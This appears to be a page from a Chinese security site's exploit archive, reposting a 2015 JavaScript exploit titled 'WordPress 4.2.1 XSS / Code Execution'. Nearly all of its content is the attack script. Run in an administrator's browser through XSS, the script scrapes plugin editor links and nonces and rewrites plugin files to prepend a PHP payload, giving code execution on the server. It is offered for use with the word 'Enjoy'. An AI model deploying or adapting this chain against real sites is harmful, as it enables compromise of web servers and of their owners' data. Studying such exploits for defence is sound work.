首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WordPress 4.2.1 XSS / Code Execution
来源:http://research.evex.pw 作者:Evex 发布时间:2015-05-06  
/*
Author: @Evex_1337
Title: Wordpress XSS to RCE
Description: This Exploit Uses XSS Vulnerabilities in Wordpress
Plugins/Themes/Core To End Up Executing Code After The Being Triggered With
Administrator Previliged User. ¯\_(ツ)_/¯
Reference: http://research.evex.pw/?vuln=14
Enjoy.

*/
//Installed Plugins Page
plugins = (window.location['href'].indexOf('/wp-admin/') != - 1) ?
'plugins.php' : 'wp-admin/plugins.php';
//Inject "XSS" Div
jQuery('body').append('<div id="xss" ></div>');
xss_div = jQuery('#xss');
xss_div.hide();
//Get Installed Plugins Page Source and Append it to "XSS" Div
jQuery.ajax({
  url: plugins,
  type: 'GET',
  async: false,
  cache: false,
  timeout: 30000,
  success: function (txt) {
    xss_div.html(txt);
  }
});
//Put All Plugins Edit URL in Array
plugins_edit = [
];
xss_div.find('a').each(function () {
  if (jQuery(this).attr('href').indexOf('?file=') != - 1) {
    plugins_edit.push(jQuery(this).attr('href'));
  }
});
//Inject Payload
for (var i = 0; i < plugins_edit.length; i++) {
  jQuery.ajax({
    url: plugins_edit[i],
    type: 'GET',
    async: false,
    cache: false,
    timeout: 30000,
    success: function (txt) {
      xss_div.html(txt);
      _wpnonce =
jQuery('form#template').context.body.innerHTML.match('name="_wpnonce"
value="(.*?)"') [1];
      old_code = jQuery('form#template div textarea#newcontent') [0].value;
      payload = '<?php phpinfo(); ?>';
      new_code = payload + '\n' + old_code;
      file = plugins_edit[i].split('file=') [1];
      jQuery.ajax({
        url: plugins_edit[i],
        type: 'POST',
        data: {
          '_wpnonce': _wpnonce,
          'newcontent': new_code,
          'action': 'update',
          'file': file,
          'submit': 'Update File'
        },
        async: false,
        cache: false,
        timeout: 30000,
        success: function (txt) {
          xss_div.html(txt);
          if (jQuery('form#template div textarea#newcontent')
[0].value.indexOf(payload) != - 1) {
            // Passed, this is up to you ( skiddies Filter :D )
            injected_file = window.location.href.split('wp-admin') [0] +
'/wp-content/plugins/' + file; //
http://localhost/wp//wp-content/plugins/504-redirects/redirects.php
            throw new Error('');
          }
        }
      });
    }
  });
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ElasticSearch Directory Traver
·Mediacoder 0.8.34.5716 Buffer
·Novell ZENworks Configuration
·elFinder 2 Remote Command Exec
·RM Downloader 2.7.5.400 - Loca
·WordPress RevSlider 3.0.95 Fil
·Adobe Flash Player UncompressV
·Adobe Flash Player domainMemor
·Wireshark 1.12.4 - Memory Corr
·Adobe Flash Player NetConnecti
·iTunes 10.6.1.7 - '.PLS' Title
·MacKeeper URL Handler Remote C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved